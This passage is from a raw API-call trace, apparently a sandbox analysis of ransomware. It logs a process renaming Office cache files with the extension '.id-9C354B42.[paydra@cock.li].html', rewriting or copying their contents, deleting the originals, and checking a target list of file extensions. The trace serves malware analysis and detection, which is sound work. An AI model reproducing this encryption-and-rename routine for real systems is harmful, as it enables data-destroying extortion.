lpOverlapped=0x0) returned 1 [0044.525] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.525] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.805] SetEndOfFile (hFile=0x1dc) returned 1 [0044.807] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0044.808] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.808] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.808] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.808] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.809] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.809] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.811] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0044.811] CloseHandle (hObject=0x1dc) returned 1 [0044.811] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.811] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.811] lstrlenW (lpString=".doc") returned 4 [0044.811] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.811] lstrlenW (lpString=".docx") returned 5 [0044.812] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.812] lstrlenW (lpString=".pdf") returned 4 [0044.812] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString=".xls") returned 4 [0044.812] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString=".xlsx") returned 5 [0044.812] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.812] lstrlenW (lpString=".ppt") returned 4 [0044.812] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString=".zip") returned 4 [0044.812] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString=".rar") returned 4 [0044.812] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString=".bz2") returned 4 [0044.812] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.812] lstrlenW (lpString=".7z") returned 3 [0044.812] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString=".dbf") returned 4 [0044.812] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString=".1cd") returned 4 [0044.812] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString=".jpg") returned 4 [0044.812] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.812] lstrlenW (lpString=".doc") returned 4 [0044.812] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.812] lstrlenW (lpString=".docx") returned 5 [0044.812] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.813] lstrlenW (lpString=".pdf") returned 4 [0044.813] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString=".xls") returned 4 [0044.813] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString=".xlsx") returned 5 [0044.813] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.813] lstrlenW (lpString=".ppt") returned 4 [0044.813] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.813] lstrlenW (lpString=".zip") returned 4 [0044.813] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString=".rar") returned 4 [0044.813] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString=".bz2") returned 4 [0044.813] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.813] lstrlenW (lpString=".7z") returned 3 [0044.813] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.813] lstrlenW (lpString=".dbf") returned 4 [0044.813] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.813] lstrlenW (lpString=".1cd") returned 4 [0044.813] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0044.813] lstrlenW (lpString=".jpg") returned 4 [0044.813] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.813] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.813] lstrlenW (lpString="AccessMUI.msi") returned 13 [0044.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.077] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2517504) returned 1 [0045.077] CloseHandle (hObject=0x1a8) returned 1 [0045.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0045.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.077] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0045.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.078] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.078] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.078] ReadFile (in: hFile=0x1a8, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.098] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.098] ReadFile (in: hFile=0x1a8, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.110] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.110] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.110] ReadFile (in: hFile=0x1a8, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.251] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.251] WriteFile (in: hFile=0x1a8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0045.485] SetEndOfFile (hFile=0x1a8) returned 1 [0045.485] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0045.488] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.488] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.490] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.490] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.495] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.495] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.498] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x4b0000) returned 1 [0045.498] CloseHandle (hObject=0x1a8) returned 1 [0045.498] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.499] lstrlenW (lpString=".doc") returned 4 [0045.499] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.499] lstrlenW (lpString=".docx") returned 5 [0045.499] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.499] lstrlenW (lpString=".pdf") returned 4 [0045.499] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.499] lstrlenW (lpString=".xls") returned 4 [0045.499] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.499] lstrlenW (lpString=".xlsx") returned 5 [0045.499] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.499] lstrlenW (lpString=".ppt") returned 4 [0045.499] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.499] lstrlenW (lpString=".zip") returned 4 [0045.499] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.499] lstrlenW (lpString=".rar") returned 4 [0045.499] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.499] lstrlenW (lpString=".bz2") returned 4 [0045.499] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.499] lstrlenW (lpString=".7z") returned 3 [0045.499] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.499] lstrlenW (lpString=".dbf") returned 4 [0045.499] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.499] lstrlenW (lpString=".1cd") returned 4 [0045.500] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.500] lstrlenW (lpString=".jpg") returned 4 [0045.500] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.500] lstrlenW (lpString=".doc") returned 4 [0045.500] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.500] lstrlenW (lpString=".docx") returned 5 [0045.500] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.500] lstrlenW (lpString=".pdf") returned 4 [0045.500] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.500] lstrlenW (lpString=".xls") returned 4 [0045.500] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.500] lstrlenW (lpString=".xlsx") returned 5 [0045.500] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.500] lstrlenW (lpString=".ppt") returned 4 [0045.500] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.500] lstrlenW (lpString=".zip") returned 4 [0045.500] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.500] lstrlenW (lpString=".rar") returned 4 [0045.500] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.500] lstrlenW (lpString=".bz2") returned 4 [0045.500] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.500] lstrlenW (lpString=".7z") returned 3 [0045.500] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.501] lstrlenW (lpString=".dbf") returned 4 [0045.501] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.501] lstrlenW (lpString=".1cd") returned 4 [0045.501] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0045.501] lstrlenW (lpString=".jpg") returned 4 [0045.501] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.501] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0045.501] lstrlenW (lpString="PidGenX.dll") returned 11 [0045.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.501] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1463568) returned 1 [0045.501] CloseHandle (hObject=0x1a8) returned 1 [0045.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0045.501] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.502] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.502] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0045.502] GetLastError () returned 0x0 [0045.502] ReadFile (in: hFile=0x1a8, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0045.770] WriteFile (in: hFile=0x1e0, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.030] ReadFile (in: hFile=0x1a8, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x65520, lpOverlapped=0x0) returned 1 [0046.044] WriteFile (in: hFile=0x1e0, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0046.055] ReadFile (in: hFile=0x1a8, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.055] WriteFile (in: hFile=0x1e0, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.055] SetEndOfFile (hFile=0x1e0) returned 1 [0046.200] CloseHandle (hObject=0x1e0) returned 1 [0046.201] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.201] SetEndOfFile (hFile=0x1a8) returned 1 [0046.204] CloseHandle (hObject=0x1a8) returned 1 [0046.204] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0046.204] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0046.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.504] lstrlenW (lpString=".doc") returned 4 [0046.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.504] lstrlenW (lpString=".docx") returned 5 [0046.504] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0046.504] lstrlenW (lpString=".pdf") returned 4 [0046.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.504] lstrlenW (lpString=".xls") returned 4 [0046.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.504] lstrlenW (lpString=".xlsx") returned 5 [0046.510] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0046.510] lstrlenW (lpString=".ppt") returned 4 [0046.510] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString=".zip") returned 4 [0046.510] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.510] lstrlenW (lpString=".rar") returned 4 [0046.510] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.510] lstrlenW (lpString=".bz2") returned 4 [0046.510] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.510] lstrlenW (lpString=".7z") returned 3 [0046.510] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString=".dbf") returned 4 [0046.510] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString=".1cd") returned 4 [0046.510] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString=".jpg") returned 4 [0046.510] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.510] lstrlenW (lpString=".doc") returned 4 [0046.510] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.510] lstrlenW (lpString=".docx") returned 5 [0046.510] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0046.510] lstrlenW (lpString=".pdf") returned 4 [0046.511] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.511] lstrlenW (lpString=".xls") returned 4 [0046.511] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.511] lstrlenW (lpString=".xlsx") returned 5 [0046.511] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0046.511] lstrlenW (lpString=".ppt") returned 4 [0046.511] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.511] lstrlenW (lpString=".zip") returned 4 [0046.511] lstrcmpiW (lpString1=".zip", 